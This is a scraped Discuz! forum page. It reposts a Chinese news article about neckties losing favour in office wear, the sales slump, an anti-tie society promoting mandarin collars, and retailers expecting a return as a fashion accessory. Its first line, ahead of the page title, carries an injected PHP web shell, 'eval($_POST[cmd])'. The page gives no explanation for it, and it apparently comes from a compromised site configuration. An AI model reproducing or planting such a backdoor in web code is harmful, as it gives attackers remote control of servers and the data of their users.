');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 打領帶過時了嗎？ - 型男服飾 - 四輪天下 - Powered by Discuz!
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graybishop1029發表於 2011-1-30 21:16 | 只看該作者

打領帶過時了嗎？

領帶，一度是男子氣概的象徵，是社交場合最高禮儀的代表，然而，隨著現代生活方式的改變，領帶目前處於尷尬的境地，不僅購買者大大減少，而且還有組織發起了不要領帶運動。有業內人士指出，或許將來領帶只會作為時尚的配件而不是辦公著裝的必需品而為人們所接受。

　　儘管早在16世紀就出現過領帶的雛形，但是直到19世紀中期維多利亞時代領帶才具備現有的樣式，一開始局限於運動俱樂部。在維多利亞和阿爾伯特博物館保存的最早一條領帶上溯到19世紀70年代，屬於一個板球俱樂部。

　　上世紀90年代以來，隨著辦公室週五休閒服裝日的出現以及辦公服裝的整體休閒化，領帶的命運出現了大轉折。如今購買西裝和襯衣的男士不再像過去那樣需要購買相配的領帶。

　　本報綜合報導 踏進巴黎任何一個時髦的飯館或者晚宴場合，幾乎看不到有男子打著領帶出現。領帶真的過時了嗎？

　　打領帶不酷

　　在BBC四台製作的政治諷刺劇《最激烈的時刻》中，一名公關顧問正在幫助影子內閣部長彼得·曼寧挑選衣服。“你說，不打領帶？”曼寧疑惑地問自己的顧問。“不打領帶。”公關顧問嚴肅地表示確認。其中傳達的資訊很清晰：領帶是不酷的表現，人們只是出於責任才戴上它。

　　而在實際生活中，英國保守黨領袖大衛·卡梅倫成為開領襯衫時尚的領軍人物。今年2月份，他甚至沒打領帶就出現在保守黨的冬季舞會上，而這裡曾經是保守黨傳統主義的堡壘。

　　英國富豪理查·布蘭森也為不打領帶不系領扣的男士創建了一整套時裝品牌，看到他打著領帶就像看到他沒有蓄鬍鬚一樣古怪。

　　“領帶沒死，但是確實銷售量大跌，它病了。”巴黎老佛爺百貨公司男士服裝採購部的伊蓮娜·帕斯度說。

　　反領帶運動

　　儘管沒有大力的宣傳，但是對領帶的遺棄卻在時刻上演中。今年3月初，一個叫“尊領會”的組織在倫敦和紐約的成立拉開了公開反領帶運動的序幕。它的主張就是在全世界消除領帶，代之以中式領。

　　所謂“中式領”，也稱“滿洲領”，近年成為中國風的標誌性服裝元素，頻頻出現于國際時裝設計師的作品中。

　　“尊領會”發表宣言稱，領帶是“歷史的遺跡”，不僅“強加順從思想，招致奴役行為，還不時提醒穿戴者他的上司們控制著他的頸項”；領帶甚至對健康有害，那些打領帶太緊的人顯然更容易患上青光眼；最嚴重的是，領帶毫無意義，“除了經常伸進湯裡之外沒有任何明顯的作用”。

　　“鬆開繩索！結束壓迫！”宣言最後這樣號召普天下男士。英國《泰晤士報》評論稱，如果說束胸的消失意味著婦女的解放，那麼對“尊領會”來說，領帶的終結則有著結束男士被壓迫狀態的象徵意義。

　　不過，巴黎服裝界和時尚觀察人士稱，領帶有重返的趨勢。 “領帶現在表現好一點了，過去它病了，處於死亡的邊緣，如今它在慢慢康復。”法國春天百貨商店男士服裝採購部的弗蘭克·諾艾說。不過，諾艾同時認為“領帶不會作為日常辦公室著裝而重返，但是會作為時尚配件而重返”。
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